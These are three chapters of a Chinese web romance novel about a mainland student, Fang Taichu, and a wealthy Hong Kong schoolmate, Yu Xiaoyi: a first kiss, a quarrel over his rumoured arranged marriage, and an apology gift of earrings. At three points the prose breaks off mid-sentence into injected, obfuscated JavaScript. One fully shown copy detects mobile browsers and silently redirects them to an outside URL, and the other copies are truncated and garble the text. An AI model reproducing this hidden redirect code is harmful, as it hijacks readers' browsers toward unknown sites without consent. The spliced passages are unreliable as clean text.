小初笑:“余学长,在你眼里我是有多弱不禁风,一瓶饮料而已,必要时我甚至能拧下来某人的脑袋,你可别看走了眼,将来悔不当初。” 余萧弋把饮料递给她:“放心,自从在泳池里奋力追在后面也看不见方小姐你的影子时,我就领教过你的厉害了。我余某人很清楚自己喜欢的是什么人,想要的又是什么人。” 小初被饮料呛到,咳嗽了好几声。 他能不能不要这个风格说话啊! 余萧弋开始介绍他的水饺:“这一盒是肉和蔬菜的,具体什么蔬菜我不知道,但肯定没有香菇。这一盒是海鲜的,有鱼肉的,也有海胆的,墨鱼的,还有龙虾的。我自己感觉是海鲜口味的好吃一点,但也不知道你会不会喜欢。” 小初说:“我都可以。” 他又问:“你除了不喜欢香菇,还有其他忌口吗?” 小初想了想:“我不吃兔子,因为我小时候养过一只很可爱的兔子,只不过没养多久它就死了。我后来知道有人吃兔子的时候差点伤心死,还大哭了一场。” 余萧弋点点头:“同样道理,我也不吃狗肉。” “所以你有养狗?” “嗯,一只比熊,养了快八年了,名字叫Enzo J。”余萧弋夹了一只海鲜水饺放在小初的盘子里,坏心地笑了笑:“要说它跟你还蛮有渊源的。” 小初咬了一口水饺,嗯,确实很好吃,饺子皮又薄又韧,饺子馅鲜美多汁,他们家的工人姐姐还真有点东西。 “好吃。”小初赞美地点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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余萧弋神色一松,然后目光灼灼看向她:“那如果你喜欢的是我,他们也会爱屋及乌吗?” “坦白说,我不知道。”小初喝了口饮料,实在不敢想象她爸妈知道她找了个香港男孩的反应,总归,不会太开心吧。 她和余萧弋实在各个方面都不合适,就算勉强在一起,将来也会非常辛苦,不是一个人辛苦,而是两个人都很辛苦,都要为对方牺牲掉一部分原本的自己。 这样的辛苦,值得吗? 小初不敢深想。 也不愿意深想。 至少是在今天。 她生出了一种不计后果的冲动,只想像艾琳说的那样,仅凭二十岁的初心,去热烈而张扬地去爱一个让她控制不住心动的人。 至于明天,who knows? 余萧弋小声说:“如果你告诉他们,我还算有点小钱,他们会不会放心一点?” 小初不敢相信自己听到了什么,直接笑出声来:“余萧弋,你真可爱。” 余萧弋愣住。 可爱? 他长这么大就没被人夸过可爱。 他怎么就可爱了? 他明明这么高智,这么man! 余萧弋越想越气,正想把她抓进怀里好好问问她他到底哪里可爱了,却见她已经把目光投向了别处。 一对男女正倚在一辆豪车边吻得难舍难分。 他的瞳孔骤然收缩了一下。 那对男女的脸他倒是没看清,是车牌太刺目。 车主也不是别人,正是他那十几岁就在娱乐圈出道,至今也没混出什么大名堂,在公众心里唯一的记忆点就是绯闻不断,并且随着年龄增长,绯闻对象已经逐渐从女明星到女网红,再到女大学生的,二世祖小叔,余淙淙。 余萧弋立刻将自己往树影里藏了藏,并喊小初:“要不要再吃几个水饺?” 小初恍若未闻。 因为她看见,她那个死对头Wendy朱,正倚在一个满脸痞气的男人怀中任对方予取予求。 这还不是关键,关键是,她整个人看着都不太好,一副摇摇欲坠的模样。 也不知神志是否清醒。 “BB你真的非回宿舍不可吗?”男人的声音在夜色中格外引人想入非非。 Wendy朱轻哼着:“嗯。” “好吧,你知道的,我这个人从来不做勉强女孩子的事的,总要你心甘情愿,我是真的钟意你的。” Wendy似是强撑着从他怀里直起身来:“夜深了,你早些回去休息,我明天还有课……你身边那么多优秀的女仔……”她哽咽了一声,“我不努力不行的。” “好吧。”男人似是极其不舍,又在她额头上亲了一下,“我送你上去吧。” Wendy摆手,“不用,我自己可以,被拍到了不好。” “怎么这么乖又体贴,嗯?”男人捏了捏Wendy的脸,终于尽了兴,“记得保持联络。” “Ok,good night。” 司机发动引擎,车子很快消失在夜色中。 他一走,Wendy朱就头朝下跌在了台阶上。 小初站起身来。 余萧弋无法,也只能跟着站了起来。 小初朝他抿抿唇,“那女孩是我们隔壁宿舍的。” 余萧弋点点头。 小初走上前去,俯身下来,拍了拍Wendy朱的肩膀:“喂,你没事吧?” Wendy朱没有声音。 小初终于有些害怕了:“喂,你不会死在这吧?要不要帮你叫救护车?” 21. 第 21 章 方太初没有救人的经验,一时没了主意,转头问一旁余萧弋:“现在怎么办?” “我看看。”余萧弋叹口气,还是向前一步将Wendy朱的身体翻转过来放平在了台阶上,并简单检查了一下对方的颈侧脉搏以及呼吸状态。 一股冲天的酒气传来,他微不可察地蹙了蹙眉。 小初之前从未见过人昏迷的样子,只在急救知识培训课上给假人做过心肺复苏,可Wendy朱毕竟不是个假人,她学的那点皮毛知识早被吓飞到了九霄云外,事关生死,她也顾不上那么多了,抓着余萧弋手臂的手指逐渐收紧,声音都有些颤抖,“她怎么样?严重吗?你要不要先给她做人工呼吸?” 余萧弋不敢相信自己听到了什么,转眸看向她,声音渐冷:“你说让我给她人工呼吸?” 小初看了看Wendy朱额角上正在沁血的伤口,心急如焚:“哎呀,都什么时候了,还计较这些细节?你不是有急救证吗?现在不用什么时候用?” 余萧弋极淡地轻笑一声:“我想起来了,那天视频里你不顾一切扯过一个大男生领子救下的就是这个女生,是吧?” 小初愣住:“什么视频?” 余萧弋说:“这个人有这么重要吗?” 小初觉得他简直不可理喻:“人命关天她当然重要了!你要是不救,我打电话叫救护车好了,我们总不能让她在这等死吧?” 余萧弋没好气伸手将她揽进怀里,在她反应过来之前,已经对着她的唇狠狠印下去,再抬头,呼吸已变得灼热,“她只是喝醉睡着了!什么生啊死的?” 轰的一声,小初觉得有什么东西在脑子里炸了。 一阵炫目的白光之后,世界就只剩下了她的心脏还在孤立无援地跳动。 静止了好半晌,她的感官才逐一觉醒。唇齿之间番石榴的涩与甜还未消散,下一秒,委屈已经涌至喉间,这可是她的初吻,他竟然就这么轻率地拿走了? 而且还是在这么一个和浪漫没有丝毫关系的氛围里?他到底怎么想的啊!早知如此她倒更宁愿在今天日落的时候捧着他的脸直接亲上去! “余萧弋!你太过分了!” “对不起。”余萧弋半蹲下来,轻抚了抚她的头发,声音里已都是愧疚和恐慌,“真的对不起。” 他离得太近,小初避无可避,只觉得整个人都被他的气息包裹其中,一种冷冽又温柔的木质调,就跟他的人一样充满矛盾感,隐约还夹杂着一股淡淡的酒气。 酒气? 等等。 小初意识到什么,这才低下头去,不期却直接对上Wendy朱一双迷蒙又玩味的眼睛。 “两位,你们真的好吵。” “你醒了?”小初微微俯下身去,赌气假装旁边的余萧弋不存在,他不是觉得她在乎这个Wendy朱吗?那她就在乎给他看好了。 知道她普通话不好,她甚至还换成了英语,“现在感觉怎么样?” Wendy说还好,就是头疼。 小初有些没好气,“不能喝还逞强,还真是够没用的。你这是碰上的人是我,要是换成别人,你猜你会被怎么样?这么漂亮一个女孩子,躺在午夜的大街上……”小初帮她理了理微敞的领口,转头去问余萧弋,“你车上有急救箱吗?里面有没有碘伏和纱布?” 余萧弋抿抿唇,转身朝车的方向去了。 Wendy说:“谢谢你啊方太初。” 小初有些意外:“你还知道我名字?” “漂亮女生当然配得一切关注。”Wendy朱扬了扬下巴,“不然,怎么把余大少爷勾得这么样神魂颠倒?” 小初迟疑了一下,“你认识他?” Wendy挑了挑眉:“在这个学校,谁不认识他?他爷爷可是我们学校的知名校友。” 正说着话,余萧弋已经拿了急救箱过来,两人即刻噤了声。 小初把Wendy扶了起来,并帮她把伤口清洗消毒,好在伤口并不深,反而是高高肿起的包块更严重些,小初估计着明天大片的青紫淤痕就会显现出来。 处理好这一切后时间已经很晚,小初心烦意乱,已不想再和余萧弋拉扯,只丢下一句:“我先扶她回去。”就和Wendy一块上了楼。 进宿舍楼前,她终是没忍住偷偷回头看了他一眼。她果然猜得没错,月亮已经逐渐被乌云挡住,空气闷热得甚至有些凝滞,很快就要下雨了。 而在那个湿气氤氲的昏暗光线中,余萧弋身形瘦削,脸上的表情模糊不清,唯有那道始终追随着她身影的目光,将他此刻的心事,表达了个彻底。 他在苦闷,愧疚和后悔,但更多的是害怕,怕因此失去她。 小初的心不知为何猛地传来一阵剧痛,像是被无形中的箭矢刺中。她长这么大,从来没有一刻如此难过,就算离开叶子瑜的那个雨夜也未曾。 她至此才明白,原来真正的男女之爱,是这般滋味,喜悦和难过都那么深刻。 会为一个本不相干的人感到心疼。 林佳宜看见小初扶着Wendy朱一块上楼来,还以为自己见了鬼,怔了半晌才小心翼翼问道:“原来你约会的对象是她?” 小初两眼一黑,也懒得解释,只说:“佳宜姐,你看下,她额角这个伤口纱布是贴着好,还是暴露着好?我刚看了下好像伤口倒不深。” 林佳宜从小初手里接过Wendy朱,嘴里嘟囔着,“这可都是看在你面子上哦。” 小初说:“那就拜托了。”说完就匆匆回了宿舍。 走到窗前一看,余萧弋果然还站在楼下,她气不打一处来,发微信给他,「还站在那干嘛,天要下雨了。」 过了好一会儿,余萧弋才意识到震动的手机是来自她,眼底瞬间染上了薄红,回她:「对不起,我不知道你这么介意。」 小初隔着窗子一边看他一边跟他发脾气,「我当然介意!这可是我的初吻!」 余萧弋说:「也是我的初吻。」 「你别把我当小孩子哄,行吗?余大少爷!他们说,整个学校就没几个人不认识你,我对你和你的过去根本一无所知,你却偏偏挑我下手,也不知安的什么心!」 余萧弋的胸膛起伏着,「我们很早就认识了,你忘了?那个时候我只知你是方太初,根本就不知道你会来我们学校读书,我差点真的去北京找你,知道吗?」 小初抿抿唇,「总之,你就是个大坏蛋。」 「好,我是坏蛋,我明天给你赔罪好吗?你别生我气可不可以?」 小初说:「不可以。」 余萧弋在她看不见的地方露出一丝无奈而宠溺的微笑来:「明天我来接你一块去上学。」 「懒得理你。」 「我回去了啊,快下雨了,那堆吃的还没收,明天见。」 小初又担心他真的被淋到,只说:「快走快走。」 余萧弋又回:「我从未想瞒过你,我还以为你早已知道,从我告诉你我姑姑是余蓁蓁开始,可我没想到,你根本对我的家世没那么强烈的好奇心。方太初,别管别人说什么,我只恳请你相信,无论我是谁,我都只钟意你。无论你是谁,我也只钟意你。」 小初感觉自己被蛊惑到,一颗心浮浮沉沉,像是冰激凌在融化,甜蜜又黏腻的感觉流了她一身。 「我说了我需要时间好好想想。」 他回:「你慢慢想,我会一直等着你。」 小初不回了,而是打开了手机浏览器,输入绮丽余蓁蓁。 网页弹出的那一刻,她明显感觉到了她瞳孔震动的余波。 她不傻,自是早已隐约知道他家境不错,那种直觉和他穿什么衣服开什么车都无关,而是来自他身上那股令人不容忽视的自信和松弛。 她虽被父母保护得很好,却也去过很多地方见过很多人,因此大多数人,不说第一眼,最多只让她接触上三个小时,她就可以对其做出基本判断,并从未出错。 尤其异性。 很多时候,他们接近她并不是因为有多喜欢她,而是她太接近一个完美的猎物,她的美貌她的钱,她的家庭和资源。 令他们跃跃欲试的不是她,而是他们本身的欲望和野心。 不然之前叶子瑜那种不以占有为目的的欣赏怎么会那么戳她的心。 可余萧弋又不一样。 他的眼睛生的太干净了,干净到甚至让人看不到任何世俗之气,就像他也从没在意过她穿什么衣服吃什么饭,更从没有以价格来定义过任何一个东西。 但这样的教养和气质,香港中产偏上的家庭能培养出来就已经算合理了,家里有工人姐姐帮忙是他们这边生活的标配,至于余蓁蓁,她更是以为她最多只是绮丽的高管,在他发刚刚那条消息之前,她甚至都不知道她是这个蓁蓁。 取这么难写的字,都不怕小朋友上学时写到哭吗? 所以,她是真的,从头至尾,都没有预想过他的家族会如此显赫。 有这样的豪门背景,他余大少出门还坐什么经济舱,开什么平民车? 玩Cosplay吗?没事Cos一下穷人? 百科上洋洋洒洒,详细讲述了余家从他太爷爷东渡到香港后堪称传奇级别的一整本发迹史。 总而言之,作为港岛最有实力的老钱家族之一,余蓁蓁的绮丽只是他们家涉及到产业的冰山一角而已, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309767|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他关于金融、港口、能源等领域的,才是重中之重。 自然,就和她通常在娱乐新闻版面上看到的差不多,他太爷爷也没少犯全天下男人都会犯的错误,光是太太就有三房,还不算其他没名没分的女朋友。 至于余萧弋他们这一脉,则是老爷子东渡之前在上海的原配留下的骨血。 不过网上的资料可查的,也就到余蓁蓁这一辈了,再往下小辈人的资料还是被保护得挺好的,所以小初并没有在网上看见余萧弋的名字。 正如他说的,他还另有一个姑姑两个叔叔,而那个没有结婚的,小初再次瞳孔骤缩,不就是刚刚在宿舍楼下和Wendy朱激吻的那一位吗? 余淙淙Leslie,艺人,歌手,演员,今年才三十六岁,就已经进娱乐圈打拼了快二十年。但网络上关于他的作品和获奖经历都提及甚少,反而铺天盖地都是他的绯闻。 从和某位女星十几年的爱恨纠葛到女星和别人闪婚,再到他彻底放飞自我夜夜笙歌,每任新女友年龄都很小,且交往时间都超不过三个月。 “死渣男!”小初愤愤然将手机扔到桌子上。 恰好林佳宜推门进来,听了她的话面色立刻变得很凝重,“骂谁呢?谁是死渣男?你被人欺负了?” 小初回过神来,没解释,只问:“朱慧雯怎么样了?她那个伤会不会留疤?” 林佳宜说:“不会,只是擦伤点皮,就是肿得有点厉害,我已经让她先睡了。说起来也蛮不错,她醉得太厉害,反而可以减轻痛感。” 小初叹口气,“好好一个女孩子,喝那么多干什么。” 林佳宜却冷静得多:“那是你没在医院的夜间急诊科待过,要是待过,就看见什么都不会觉得奇怪了。” 这倒勾起了小初的好奇心,“佳宜姐,那你见过最离谱的是什么?” 林佳宜想了想,答道:“大概是两男一女大半夜狂敲急诊科的门吧,那俩男的根本不知道女生怀孕,导致女生大出血流产,后来一问,那女生竟然自己也不知道。三个人还都是有钱人家的小孩,后来三方家长赶来的时候,豪车差点没把我们医院停车场泊满,阵仗吓死人。” 小初呆住。 林佳宜摸摸她的头发:“睡吧,小朋友。” 小初默默端了盆去洗漱,回来还是没忍住问林佳宜:“佳宜姐,这种热衷混乱男女关系的病是会家族遗传的吗?” 林佳宜想了想,认真答道,“我还真没看过相关文献,回头帮你查查。不过,遗传不遗传不知道,家庭氛围和家庭观念是一定会影响小孩子对两性关系的认知的吧?比如一夫多妻制家庭出来的孩子,如果没有法律和道德的约束以及公众目光的审判,你觉得他们会从心里认可一夫一妻制吗?尤其男的。” 小初不再说话,而是把自己整个埋进了被子里。 后半夜下起了大雨,雷声一直没停,吵得她虚虚实实一直处于半梦半醒间,睡得极累。 第二天一早天气倒放了晴。 她感觉自己大脑一片混沌,急需运动一下找回点状态,于是出门前又把网球拍背到了身上,打算上完Lecture课后先去打会儿球再去图书馆自习。 余萧弋发消息说,他马上就到楼下。 小初咬了咬唇,突然发现自己并没有真正想好怎么面对他。 一出门,竟意外碰上Wendy朱。 这才一晚,她就又生机勃勃地出门了? 小初注意到她也背了网球拍,额角处的伤用发带束住,倒不怎么看得出来了。 “早!”Wendy主动打了招呼。 小初挑了挑眉,“怎么,今天太阳从西边出来了吗?” Wendy瞪她一眼,“你能不能大度一点?你我之间又没有深仇,我点解不能和你打招呼?” 小初:“……” Wendy又问:“你也打网球吗?” 小初说是。 Wendy说她们有个网球俱乐部好多人球打得都不错,问她要不要一块去。 鬼使神差的,小初竟答应了。 两人约好时间,并交换了联系方式。 小初不经意问了句:“咱们宿舍楼有别的出口吗?” Wendy似笑非笑看她一眼:“做乜嘢,余少在楼下?” 小初瞪她:“那你少管。” “跟我来。” 三分钟后,余萧弋的手机震动了一下。 「不好意思余学长,我已经出门了。」 几乎一夜没睡的余萧弋眸光瞬间凝住,人生再一次,感受到了被人生生拿走一截脊骨的滋味。 她对他,永远这么有办法。 22. 第 22 章 方太初和Wendy朱在长坡下分手。 一个赶地铁去学校,一个据说约了朋友去饮早茶。 小初本无意打听别人隐私,却还是问了句:“是跟昨晚那个男人吗?” Wendy朱无比好笑地看了她一眼,像是看她遥远的幼稚园时代的同学:“小姐,你今年几岁啊?还问这么无聊的问题?现代人节奏这么快,open relationship,我讲嘅嘢你明唔明?昨天那个男人,呵。”她轻蔑笑笑,“就是全港近十年最大的笑话,一个被家族抛弃的废物,我除非傻的才跟他浪费时间。” 小初呆了呆,试探地问了句:“你知道他是谁?” Wendy朱翻了个白眼:“我唔知他是谁我话都懒得跟他讲好唔好?方小姐,我好心提醒你,香港这个地方很复杂的,你不要以你大陆那一套逻辑思维来考虑另外一个世界的事,对谁都满腔热忱的,OK?包括我,朱慧雯。” 小初无语到失笑:“这你就有点自作多情了。” Wendy朱看了看手表:“我仲有事,走先嘞。” 小初叫住她,虽然她也不明白自己为什么要这么做,“我见你也没几岁,少在我面前装成熟,OK?这个时间能爬起来饮早茶的,想必不是什么年轻人吧?朱小姐,那些有钱老男人很精明的,你以为你是个Hunter,其实在人家眼里也不过是个Hello Kitty,你信他们会帮到你,不如信你自己是明年的港姐冠军。” 这下轮到Wendy愣住,“你觉得我能成为港姐冠军?” 小初不置可否地耸耸肩:“不知道,反正我看这几年的HK小姐没几个靓过你的,至于其他方面,你自己花时间提升呗。有这样的美貌,你何必跟老男人纠缠?将来自己做全港最夺目的大律师,不好吗?” Wendy朱没再说话。 小初说:“我仲有事,走先嘞。” 地铁站里都是和她一样等车赶去上课的学生,所有人都一副无精打采的模样,上早八的怨气凝结在站台上方,画面阴暗得仿佛某部鬼片。 小初找了个人少的角落站定,抬头看了看电子提示牌,上面显示下一辆车还有三分钟到达。 耳机里播放的是之前某部韩剧的OST,名字好像叫《Spring snow》,她的韩语不算太好,却也不需要中文对照就听懂了全部歌词。 韩剧总能把人与人之间某些很细碎的情感流动拍得浪漫而充满宿命感,她的心渐渐安静下来。 不远处有对小情侣聊着聊着天就旁若无人亲了起来,不是那种深吻,而是一下一下的轻啄。 男生的眉眼很温柔,哄得女朋友一边笑一边躲,却又躲不掉,每次都被他拉回来。 小初不知怎么就多看了两眼,然后一些她并不怎么想在此刻记起的画面就在脑海里浮了上来,心跳一阵凌乱。 余萧弋的唇是什么触感来着? 她仔细想了想,却怎么都记不起来。 主要昨晚他亲过来的时候她满脑子都是Wendy朱会不会就这么死掉,等她意识到发生了什么的时候,唇上的印记都快风干了。 小时候她曾被一只掠过水面的蜻蜓短暂停留在掌心过,她想,那个吻应该就是类似的感觉吧? 有点湿,有点暧昧,却又一促而逝。 耳机里的温暖男声重复着,“ Cause I''m falling slowly love with you ”。 地铁呼啸而至,小初将左耳滑下来的头发别了回去,跟在人群后面跳上了车。 课程太紧,她连为爱情感怀的时间都没有。 今天的Lecture课做报告的教授来自哥伦比亚大学,要讲P进数在数论和分析学中的应用,她得找个好点的位置仔细听听,不过,在那之前,她要先去她喜欢的那家冰室解决一下早餐。 “麻烦,一份芝士流心西多士,配……”她停了停,很快做了决定,“BB鸳鸯。” 这一刻,她突然很想尝尝曾在他唇齿之间逗留过的味道。 可话一出口她就隐隐后了悔,明明还没答应在一起,就已经对人家产生妄念了,这……好吗? “这位同学,请问还有什么需要吗?”服务员朝她勾起一个标准职业微笑。 “啊?没,没有了。” “那就麻烦往旁边让一让。”笑容瞬间消失,“下一位!” “……” 小初找了个座位坐了下来,利用等餐的空档打开了本港新闻。 Wendy朱有一点说得没错,她既已来了这,就总要大概知道一下这里每天都在发生什么,不能总是以她那一套既定思维来思考所有人和事。 大概浏览了下天气和时政,服务员就送来了她的早餐,正要关闭手机屏幕,余蓁蓁三个字却意外映入眼帘。 这是一篇人物专访。 不同于街头小报的犀利风格,采访者的专业素养很好,通篇几乎都是在讲余蓁蓁的事业,讲她人生的几个转折点,讲对她有知遇之恩的几个贵人,只有在最后才用很少笔墨以私人感情收尾,观感上舒服很多。 不像有些记者,上来就只会问女性怎么还没嫁人,对爱情是仍抱有期待还是早已心灰意冷。 是的,余蓁蓁四十二岁,未婚。 而且她根本不是小初想象的什么猫眼贵妇,照片里的她短发披肩,穿西装,戴框镜,气质极为干练。 绮丽,也只是她所负责的业务和普通公众离得最近的一个板块而已。 文章结尾有提到她年轻时曾令公众津津乐道的一段扑朔迷离的感情,两人纠缠十年,对方终究“抵不过压力”另嫁他人的传闻。 余蓁蓁大笑,说她们从来都是友情不是爱情,是公众眼睛里太多粉红泡泡。 又说过年的时候两家人还见过面,刚好家里的仔和对方的(继)女也是好朋友,大家都好开心。 主持人立刻趁机追问两家即将联姻的坊间传闻是否属实,余蓁蓁没有直接答,只说现在年轻人不想那么早有束缚,还想自由两年,尊重他们的想法喽。 总之有好消息会跟大家讲的。 主持人感叹,余小姐对侄子的疼爱实在令人动容。 余蓁蓁这次并未谦虚:“当然了,他从小就乖,功课又好,真的很难不疼他的啦。” 小初的脸色一寸寸沉了下来,豪门之间,若没有一定凭据,谁会将捕风捉影的事拿到台面上来说。 听余蓁蓁这意思,大概率明年余萧弋抵达美国后就要和家里给他选定的那个女孩订婚了。 所以根本就没有什么他妈妈怕他们太早出去会变得不辨是非这件事,纽约曼哈顿的富人区,向来是金钱与权力碰撞的地方,有什么会比这两样东西在资本家的眼里更正确? 所以,他只是想再多要两年的自由。 而她,小初笑笑,还真不知不觉成了人家放浪时光里的一桩消遣了。 她都不敢去想自己在他心里是有多好消遣,仅凭几句似是而非的话,几个伪装的深情眼,就进退失据,深陷其中了。 确实足够好笑。 口中的BB鸳鸯实在甜腻得令人作呕,她捂住嘴,冲进卫生间,直接将刚刚吃进去的东西吐了个一干二净。吐完抬起头,她几乎没被镜子里的自己吓死。 这谁啊,皮肤暗淡目光无神还顶着两个大大的黑眼圈?看着那么颓丧彷徨和不安? 她方太初什么时候竟沦落到这种境地了? 她爸妈好歹是过了四十岁还魅力四射的男神女神,她竟然二十岁就变成任人耍弄的小丑了?简直败坏门风! 想到这,小初也不难过了,而是利落拿出了书包里的简易化妆包。她爸说得一点错没有,漂亮女生朴素过了头,果然是会被同学欺负死的。 还不如高不可攀地活着,避免一不小心落入觊觎者的圈套,被人当成便利贴,想贴在哪贴在哪,想扔掉就毫不留情地扔掉。 耳机里的男人仍在无病呻吟重复那一句。 她听得心烦,点开播放器,毫不犹豫将那首歌从收藏夹中删除了。 赶到报告厅的时候,教授还没来,大屏幕的PPT上是此次讲座的宣传海报。 一路走过去,小初看到同院系的不少熟悉面孔,本硕博都有,唯独没有看见余萧弋。 同小组的Cathy朝她挥手,并瞪大眼睛,“God,方太初,你今天状态怎么这么好?谈恋爱了?” 小初在她旁边坐下,“是手里股票涨了才对,男人哪有这么大功效?” Cathy一愣,继而非常认可点点头:“真系。” 小初从耳朵上取下蓝牙耳机放进盒子里,又拿出平板和纸笔,一副心无旁骛只想进步的模样,实际上失眠后遗症已经让她的大脑极度疲惫,整个人都轻飘飘的,她很怀疑这样的自己一会儿到底能听进去多少。 男人果然影响了她解题的速度。 Cathy感慨,“这么多人,估计有不少都不是我们学院的。” 小初机械点点头。 Cathy又碰了碰她的胳膊,“快看快看,余学长好帅啊。” 小初感觉自己的心室动脉忽地被谁钳紧,周身的皮肤逐渐泛起一种濒死的青灰。 她想她此刻的目光一定是讥诮而冰冷的,唯一遗憾的是相隔太远,不能让他感受到她这一刻的杀心。 余萧弋正陪同教授从报告厅的侧门走进来,两人一边走一边热络地聊着天,仿若相识已久。 到现在小初已经对什么都不意外了,别说教授是他的旧相识,哪怕他们余家就是教授的资助人,或者干脆,更直接点,余蓁蓁爱而不得的那个女人嫁的就是教授,而他的继女就是余萧弋的联姻对象……她都再没有什么接不住。 他的错,不在于他是谁,而在于他明知他是谁,还来消遣她。 报告厅里掌声震天。 余萧弋朝教授点点头,率先走上讲台,帮忙调试了设备,又做了个简短的开场白,才把教授请到台上来。 Cathy激动万分,“余学长英文发音好好听。” 小初淡淡附和,“确实。” 一双税利的眼睛却始终盯在他身上。不知是不是为了配合她今天的歌单,他今天穿得特别韩系,明明都是基础的色调,却自带一种说不出的氛围感。 教授的演讲开始。 所有人都开始拍照,小初也不例外。屏幕上他的消息恰好跳出来。 「我看见你了。」他说。 小初微微偏了偏头,两人视线相碰。 他弯起眼睛。 小初也学他样子弯起眼睛。 这世上又不是只有他笑起来好看。 「一会儿结束先别走,我有话跟你说。」 小初挑了挑眉,回他:「好啊。」 报告实在枯燥冗长且复杂难懂,中场休息时,已有不少人离开。 小初趴桌子上睡了一会儿,再抬起头,连Cat ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一抬头,就撞进了余萧弋一双喜怒不辨的眸子里。 “方太初你跟我出来一下。” 他抓住她的手。 小初却说,“下半场演讲马上开始了。” “回头看视频回放,不会的,我讲给你。” 小初冷哼一声。 还真是被他装到了。 好多人都在朝他们这边张望。 余萧弋却没有任何放手的意思。 梁培风问:“需要帮忙吗方太初?” “不用。”小初犹豫了一下还是起了身,并故意说道,“这是我师出同门的师哥,找我有点事,我桌面上东西帮我看一下啊,我马上就回来。” 梁培风说好。 余萧弋拉着她来到报告厅侧面的走廊里。 半晌,两人都没说话。 小初不看他的脸,只把视线轻垂在他休闲衬衣的第二粒扣子上。 最后还是余萧弋沉不住气,开口道:“早晨为什么没等我?” 小初有些奇怪:“我有答应等你吗?” 余萧弋呼吸一滞,但语气到底软了下来,“你还在生我气?” 小初抬头朝他笑笑,笑得明媚无双,像是两人之间什么绯色的故事都未曾发生过,“没,岂敢。” 余萧弋顿住,眼底绝望逐渐蔓延开来。 小初看了看表:“还有事吗,余学长?如果没事我就进去继续听讲座了,我东西还在里面呢,一会儿还要和朋友去打网球。” 余萧弋问:“哪个朋友?” 小初一派天真,“就刚才你见到的那个男生,他是网球社的,球打得特别好,刚好叫他带带我。哦对了,忘了跟你说他也北京的,说好的打完球一块去尖沙咀吃京菜。” 余萧弋神色一暗,声音渐低,“你都没问过我,怎么知道我网球打得不好。” 小初却懒得跟他兜圈子了,直接坏心地抬起手抚了抚他的脸,似笑非笑,“哦,你网球打得也很好啊?” 余萧弋瞬间僵住,她只一个简单动作就轻而易举点燃了他的呼吸。 “嗯,只有这一项是我从小真花了时间练习的。” “可惜。”小初静了一会儿,忽然踮起脚尖贴向他的耳朵,用很轻很轻,只有她和他才能听见的声音说道:“我不喜欢你呀。” 她的呼吸若有似无喷薄在耳朵上的感觉太撩拨,余萧弋几乎将手心掐出血才抑制住想把她紧紧揉进怀里的冲动,可还没过一秒,心脏上的剧痛就已传来,他难以置信地低下头,终于看清了她眼中完全不加掩饰的恨。 “你说什么?”他身形一晃,险些站立不稳。 “我说,我不喜欢你。”小初退后一步,面色已平静,“因为不喜欢,所以对你昨天亲我的行为很反感,因为很反感,所以整个人到现在都很难受,今天早晨还吐了一场,白白浪费了一顿早餐。哦对了,你之前推荐的BB鸳鸯也很难喝,阿华田混好立克,真的很腻很恶心,我这个人只喜欢纯粹一点的东西,不喜欢混沌不清,左右逢源的,你懂了吗?” 余萧弋没说话,只是安静地站在原地,眼尾红得吓人。 小初不敢多看,转过身去。 生怕再多看一秒,她的意志力就会崩塌。 “方太初。” 他突然哑声叫她的名字。 小初不答,只快步走。 最后只能他从背后追了上来,将一个小盒子塞到了她手里,“昨晚看见你耳钉丢了一只,这个送给你算是赔偿也算是赔罪,对不起。” 说完这句话,他就一个闪身,消失在了她的视线里。 “喂,谁要你的东西啊!”小初在他背后一边流泪一边喊。 可他已经不见了。 23. 第 23 章 小初打开首饰盒,一对月亮形状的耳钉顿时映入眼帘。中间一颗主钻,外面一圈用小小的碎钻镶嵌成月牙的形状。 很精致,很璀璨。 盒子上盖上贴着一张小小的便签,写着他想和她说的话,特地用的简体字。 他的字很漂亮,规矩中透着潇洒。 上面写着: F.Junior, 耳饰送给今晚的月亮。 你可以成双佩戴,也可拆开配你右耳上剩下的那一只。 AB款也够靓,很衬你。 谢你今晚赴约。 Yours, Theo Yu 小初的眼泪不停不停地落下去,落在他的名字上,将墨水晕染成模糊的一片。 果然是个情场高手,她忍不住暗骂,短短几句话,就让人的情绪波动成这样,最要命的是,他明明一句都没有提“我喜欢你”,却又每个笔画都是这四个字,将中式留白的艺术应用到了彻底。 这么贵重的礼物,被他说得像是顺手从楼下便利店带上来的咖啡。给你买咖啡也没有别的意思,只是天太热,你太疲惫,或许喝杯咖啡能好点。 如此细致周到,浪漫贴心,又这么会替人着想,连语气都云淡风轻。 没有人会因为穷人的一杯咖啡陷入爱情,可资本家的孩子只要他想,甚至可以天天送钻石。 直至猎物咬上诱饵。 小初冲进卫生间,将冷水泼在脸上,强制自己冷静下来。他光风霁月她知道,但那是他个人的底色,这个底色,是靠近他的每个人都可以感受到的东西,并非她的专属品。 就像他也不是她的专属品。 她方太初,从来不觊觎别人的东西,大把送到她面前巴巴等着她垂眼青睐的,她还未必有兴趣低低头呢。 大家相识一场,虽然时间还短,也谈不上什么深情厚谊,但她也不吝送他一个祝福吧。祝他什么呢,就祝他长袍马褂加身,送了数以亿计的礼金,几十斤的黄金差点坠断新娘的脖子,却也只能娶回一个丑女,再生一窝丑孩子吧。 到时候刚好可以把他那一身才华,不管什么击剑游泳还是网球,全都传下去,让那一窝丑孩子折磨死他。 这么想了一会儿,小初终于好多了,再回到报告厅,脸上已无异常。 演讲已进行了四分之三。 梁培风笑着说:“你再不回来,我已经准备把你的平板什么的打包顺走了。” 小初笑笑,眼神却不经意落在台侧的余萧弋身上。他果然好修养,这会儿长身玉立站在那,周身已再无一丝萧索之气了。 